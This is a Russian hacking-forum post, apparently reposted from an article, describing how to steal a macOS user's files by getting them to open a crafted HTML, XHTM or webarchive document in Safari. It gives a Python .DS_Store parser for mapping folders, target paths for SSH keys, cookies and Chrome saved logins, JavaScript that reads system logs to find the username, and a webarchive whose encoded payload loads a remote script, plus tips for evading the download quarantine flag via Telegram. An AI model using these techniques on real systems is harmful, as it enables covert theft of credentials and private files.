Как утащить данные пользователя macOS с помощью одного документа

Forevonly

Original poster
Pro Member
Сообщения
599
Реакции
601
Посетить сайт
Представь ситуацию: ты открываешь HTML-документ, и через какое-то время файлы с твоего жесткого диска оказываются у злоумышленника, притом абсолютно незаметно. Документы, код, SSH-ключи, пароли… Словом, улетают все файлы, которые ты, как текущий системный пользователь, имеешь право читать. Скажешь, невозможно? Современный браузер должен тебя защитить? Да, но у некоторых из них есть свои особенности.

В общих чертах атака работает следующим образом.

  1. Пользователь открывает HTML-страницу в браузере.
  2. Браузер читает список имеющихся на компьютере пользователя файлов.
  3. Браузер читает «важные» файлы и загружает их на удаленный сервер злоумышленника. При этом для пользователя весь процесс остается незаметным.
Разделим атаку условно на два этапа:

  • получение информации о файлах удаленного компьютера;
  • само чтение и отправка на наш сервер.
На первом этапе мы должны каким-то образом узнать список интересующих нас файлов на компьютере пользователя. Проблема в том, что никакого внятного способа сделать это нет. Ни один браузер не даст тебе с HTML-страницы прочесть локальную директорию ~/ и список файлов на рабочем столе.

Тыкаться наугад — тоже не вариант: да, мы знаем несколько «важных» путей вроде ~/.ssh/id_rsa, но в большинстве случаев файловая система пользователя, открывающего нашу «злую» страницу, — темный лес.

На втором этапе мы, имея полный набор путей, должны каким-то образом выйти за границы песочницы браузера, прочесть локальные файлы и загрузить к себе на сервер.

Вся информация носит только ознакомительный характер. Ни автор, ни канал не несут ответственности за ее ненадлежащее использование.​


Извлекаем список файлов
MacOS имеет забавную особенность. Если ты откроешь директорию с файлами, операционная система создаст специальный скрытый файл — .DS_Store. Этот файл хранит настройки просмотра папки в macOS, включает в себя информацию о расположении окна папки, размере окна, опции просмотра, которые были выбраны (значки, список или таблица), и внешний вид значков в окне. Система создает эти файлы автоматически. Другими словами, операционная система кеширует информацию о файлах для быстрого отображения директории.

В .DS_Store попадают превью изображений (как скрытый файл Thumbs.db в Windows), но в отличие от Windows в нем также содержатся имена файлов и директорий. Достаточно зайти в директорию с файлами, и операционка тут же создаст .DS_Store.

image2.png

Служебный файл .DS_Store автоматически создается в директории, когда в нее заходишь
Что в этом примечательного? А то, что .DS_Store можно распарсить и получить названия всех файлов в каталоге. Для этого подойдет одноименный модуль DSStore для Python. Вот пример кода, реализующего чтение .DS_Store:

Код:
##!/usr/bin/env python
from ds_store import DSStore
import json
path = '/Users/USERNAME/.DS_Store'
def parse(file):
    filelist = []
    for i in file:
        if i.filename!='.':
            filelist.append(i.filename)
    return list(set(filelist))
d=DSStore.open(path, 'r+')
fileresult=parse(d)
print(json.dumps(fileresult))
for name in fileresult:
    try:
        d = DSStore.open(path + name+ '/.DS_Store', 'r+')
        fileresult = parse(d)
        all.append(fileresult)
        print(json.dumps(fileresult))
    except:
        pass


Сохраним этот код в файл parse_ds_store.py и запустим. В моем случае результат работы выглядит как-то так:

Код:
$ python parse_ds_store.py
["Documents", "Pictures", ".idm", "Desktop", "Music", ".oracle_jre_usage", "Public", "tmp", "Parallels", "MEGA", ".BurpSuite", "Downloads", ".config", ".cache", "Applications", ".bash_sessions", "Creative Cloud Files", "PycharmProjects", "Applications (Parallels)", "Dropbox", "Nextcloud", ".iterm2", ".Trash", "Scripts", "Movies", "MEGAsync Downloads", "Soft", ".local", ".ssh", "Library", ".pgadmin"]

Что мы видим? А мы видим имена файлов и папок в домашней директории. Узнав их, можно обращаться к каждой следующей директории, искать .DS_Store там и таким образом получать иерархию файлов и папок, не имея доступа к листингу директорий.

Для примера парсим домашнюю папку (~/.DS_Store), получаем подобное содержимое:

Код:
["Backups", "Soft", "Pictures", ".ssh" ...]
Обращаемся к ~/Backups/.DS_Store, получаем:
Код:
["2017", "2016", "2015", ...]
На следующей итерации ~/Backups/2017/.DS_Store:
Код:
["source", "sql", "static", ...]


И так далее.

Пара замечаний:

  • тебе нужно знать имя пользователя в системе;
  • файл .DS_Store создается только там, куда заходит пользователь.
В остальном все отлично работает. Теперь слушай дальше.





Предсказываем пути для чувствительных файлов
Что же еще есть ценного у пользователя? В первую очередь директория .ssh, куда обычно сваливаются закрытые ключи.

Для начала вспомним о таких путях:

  • ~/.ssh/id_rsa;
  • ~/.ssh/id_rsa.key;
  • ~/.ssh/id_rsa.pub;
  • ~/.ssh/known_hosts;
  • ~/.ssh/authorized_keys.
И .bash_history — история введенных в терминал команд еще никому не помешала!



Собираем куки и не только
Займемся сбором печенек. Во-первых, macOS имеет предсказуемые пути хранения данных об аккаунтах в директории.

  • ~/Library/Cookies/Cookies.binarycookies
  • ~/Library/Cookies/com.apple.Safari.cookies
Там же будут лежать cookie от Twitter, Skype и прочих приложений.

Захватим и данные о HSTS — там найдутся посещенные сайты, которые вернули заголовок HSTS. Лишним не будет!

Код:
~/Library/Cookies/HSTS.plist

Информацию об аккаунтах в системе тоже заберем с собой.

Код:
~/Library/Accounts/Accounts4.sqlite
Ну и не Safari единым, обычно различные файлы и конфиги установленного софта лежат в пути

Код:
~/Library/Application Support/

Мы заберем только файлики Chrome:

Код:
~/Library/Application Support/Google/Chrome/Default/Login Data
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Google/Chrome/Default/History

А ты пошарься, вдруг где хранятся интересные файлы каких-нибудь FTP/SQL-клиентов или история сообщений мессенджеров.







Получение полных путей к файлам пользователя
Что забрать с собой, мы уже выяснили. Теперь попробуем собрать эти файлы с помощью Safari.
В Chrome, к примеру, с ходу читать локальные файлы с помощью JavaScript не выйдет. Чтобы это сработало, Chrome нужно предварительно запустить со специальным аргументом (--disable-web-security). Safari тоже предупреждает, что работать с file:// он не умеет.

image3.png

Просто так читать file:// в Safari нельзя
Однако если HTML не был скачан из интернета, Safari более лоялен к такому виду запросов — отправив с помощью XHR запрос к локальному файлу, мы получим его содержимое:

image1.png

…но если файл локальный — то можно!
Благодаря этой особенности, зная полный путь к файлу, мы можем загрузить его содержимое и отправить на удаленный сервер!

Но вот незадача — как получить полный путь, если мы не знаем имя пользователя? А ведь в /etc/passwd вообще нет логинов пользователей (я проверял, да)!

Чтобы узнать имя пользователя, мы проверяем два log-файла, которые появляются, едва ты установишь и настроишь ОС.

Это файлы /var/log/system.log и /var/log/install.log. Не будет в одном — скорее всего, будет в другом. Загружаем эти файлы в браузер и с помощью регулярного выражения получаем имя пользователя.

Вот JS-функция для извлечения имени пользователя из файлов логов:
Код:
function getUser() {
    var xhr = new XMLHttpRequest();
    try {
        xhr.open('GET', '/var/log/system.log;/https:%2f%2fgoogle.com/', false);
        xhr.send();
        return xhr.responseText.match(//Users/w+//g)[0];
    } catch (e) {
        xhr.open('GET', '/var/log/install.log;/https:%2f%2fgoogle.com/', false);
        xhr.send();
        return xhr.responseText.match(//Users/w+//g)[0];
    }
}

Отправляем файлы на сервер
А теперь соединяем первую часть статьи и возможность читать файлы. Для PoC делаем серверную часть, принимаем от пользователя путь и содержимое. Если это .DS_Store, отдаем еще пути на парсинг.

Можно попробовать сделать черные и белые списки, например чтобы не качать тяжелые фильмы или, наоборот, качать только файлы .docx.​


Но что делать, если в системе установлены другие браузеры? HTML будет открыт с помощью Chrome или FF, и ничего не произойдет.

К счастью, есть пара расширений, которые открываются только Safari. Это XHTM и webarchive. Если с XHTM все понятно — это веб-страница на основе XML (а в нем можно выполнять JS), то с webarchive немного сложнее. Он имеет два формата, один из которых можно легко скрафтить вручную:

Код:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>WebMainResource</key>
    <dict>
        <key>WebResourceData</key>
        <data>
            PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo
            vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj
            wvYm9keT48L2h0bWw+
        </data>
        <key>WebResourceFrameName</key>
        <string></string>
        <key>WebResourceMIMEType</key>
        <string>text/html</string>
        <key>WebResourceTextEncodingName</key>
        <string>UTF-8</string>
        <key>WebResourceURL</key>
        <string>file:///</string>
    </dict>
</dict>
</plist>


где data — это страница в Base64, в каждой строке которой 59 символов.



Возможности обхода ограничений флага Where from
По умолчанию для файлов, переданных по Сети, есть ограничение на выполнение такого кода.

image5.png

Срабатывает защита
Это значит, что, если просто послать файл по почте, он может не сработать.

Хорошая новость заключается в том, что не все программы выставляют флаг при скачивании файла. К примеру, версия Telegram для macOS этого не делает. В ряде тестов нам удалось прочесть файлы пользователя «вредоносным» файлом XHTM, переданным через десктопную версию Telegram для macOS, причем без архивирования и защиты паролем.

image6.png

PoC, переданный через Telegram Desktop, сработал!
Наверняка ты сможешь найти и другие примеры. И конечно же, готовый файл можно подсунуть жертве на физическом носителе во время проведения социотехнического тестирования.

Готовый сервер, а также два вида HTML-файла с полезной нагрузкой найдешь в этом

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

.





Защита
На данный момент защиты от этой атаки нет. Могу посоветовать лишь смотреть, что открываешь, скачав из интернета, и по возможности не использовать браузер Safari. Apple, очевидно, не считает эту проблему уязвимостью, и на данный момент о патче ничего не слышно. Так что используй эту силу с умом, Люк!
 
Название темы
Автор Заголовок Раздел Ответы Дата
Walalusur Слив [Blackhatworld] Как Зарабатывать Деньги С Youtube И Content Locker (2021) Способы заработка 0
D Как из обычного шнура сделать шнур juice jacking? Уязвимости и взлом 5
D Как взломать телефон с помощью зарядки juice jacking? Уязвимости и взлом 2
S ⏩ Как запустить свой товарный бизнес и начать зарабатывать, кейс. Способы заработка 0
Walalusur [Алексей Лунин] Как зарабатывать 30000-45000 на продажах партнерских товаров в яндекс директе (2021) Способы заработка 0
M Как получить кредит с США? Вопросы и интересы 1
S Интересно Как зарабатывать на Mobile Rewards. Фея с подарками. Способы заработка 0
kirick7 Как защититься от фишинга? Вопросы и интересы 9
Antonka_1000 Как в торрент трекеры подсунуть уже закриптованный вирус??? Вопросы и интересы 1
H Как заказать билинг? Свободное общение и флейм 5
brigabos Как заряжать ноутбук от повербенк Свободное общение и флейм 2
brigabos Как экономить на Яндекс.Директ, Google Ads и соц. сетях. Кешбеки и купоны. Другое 0
E Как сменить устройство на Tide? Вопросы и интересы 0
M Как криптовать ратник с docx Вопросы и интересы 4
Khan Интересно Как находить точки входа в рынок криптовалют при помощи ончейн-инструментов Полезные статьи 10
Khan Интересно Как распределяется богатство в сети биткоина Полезные статьи 0
UnderD0g Авторская статья - Как легко снять ConfuserEx Полезные статьи 0
Admin Интересно Как деанонят Telegram Анонимность и приватность 8
Gumanoid Интересно Как изменить голос в Telegram Полезные статьи 1
A Как зарабатывать от 10$ на просмотре почты!!! Способы заработка 9
H Интересно Как проверить свой браузер на утечку данных Полезные статьи 0
H Как установить macOS на USB-накопитель Полезные статьи 0
H Как взламывают IP- и веб-камеры и как от этого защититься Уязвимости и взлом 0
H Как 30 строк кода взорвали 27-тонный генератор Новости в сети 0
H Как просканировать любое устройство на уязвимости? Уязвимости и взлом 1
H Как скрывают вирусы в документах Office Корзина 0
H Как установить macOS на USB-накопитель Корзина 0
Admin Интересно Как правильно шифровать диски VeraCrypt'ом Настройка системы для работы 1
Admin Как узнать местоположение человека по фото [ANDROID] Анонимность и приватность 10
D Интересно Как бесплатно получить Proton VPN навсегда Другое 6
Wh1t3_F0x Как взламывают IP- и веб-камеры и как от этого защититься Уязвимости и взлом 4
Anorali Интересно Этичный хакер. Как стать хакером с белой шляпой? Полезные статьи 0
darkweb_telator Как взломать вай-фай(wep,wpa,wpa2,wps) Уязвимости и взлом 1
Р Как получить статус QIWI кошелька "основной" Раздача сс, ба и всего что связано с кардингом 0
Kot507 Как взломать rar. Архив Вопросы и интересы 5
K Куплю Как взломать бота телеграм Все что не подошло по разделу 1
S Как защитить сайт от DDos Атак? Вопросы и интересы 2
Denik Интересно Как создать вредоносный PDF файл? Уязвимости и взлом 5
Anorali Интересно Как поймать хацкера за попу или написание своего honeypot'а Полезные статьи 3
Anorali Интересно Как использовать Xploitspy для взлома телефонов Android? Полезные статьи 6
Chomba Как лить на 100-500$ прибыли в сутки с Facebook на мобильные приложения (2020) Спам, рассылки, трафик, SEO 2
Denik Как заработать более $ 1000 в месяц со взрослых веб-сайтов Способы заработка 4
CMDfromBAT Интересно Как стать подростком хакером - комментарии от хаЦкера Свободное общение и флейм 27
Denik Интересно Как активировать WinRAR Бесплатно Другое 4
Chomba Как продавать на авито (2020) Обучения, схемы, мануалы 0
yumpa Как работать с двумя провайдерами и больше Полезные статьи 0
CMDfromBAT Как понять интересен ли я хакеру? - комменты от хаЦкера Свободное общение и флейм 5
Denik Интересно Как взломать пароли с помощью флэшки Уязвимости и взлом 3
Denik Интересно Как узнать, что ваш пароль был взломан Уязвимости и взлом 1
E Как купить криптовалюту с самой низкой комиссией? Мой взгляд Корзина 0

Название темы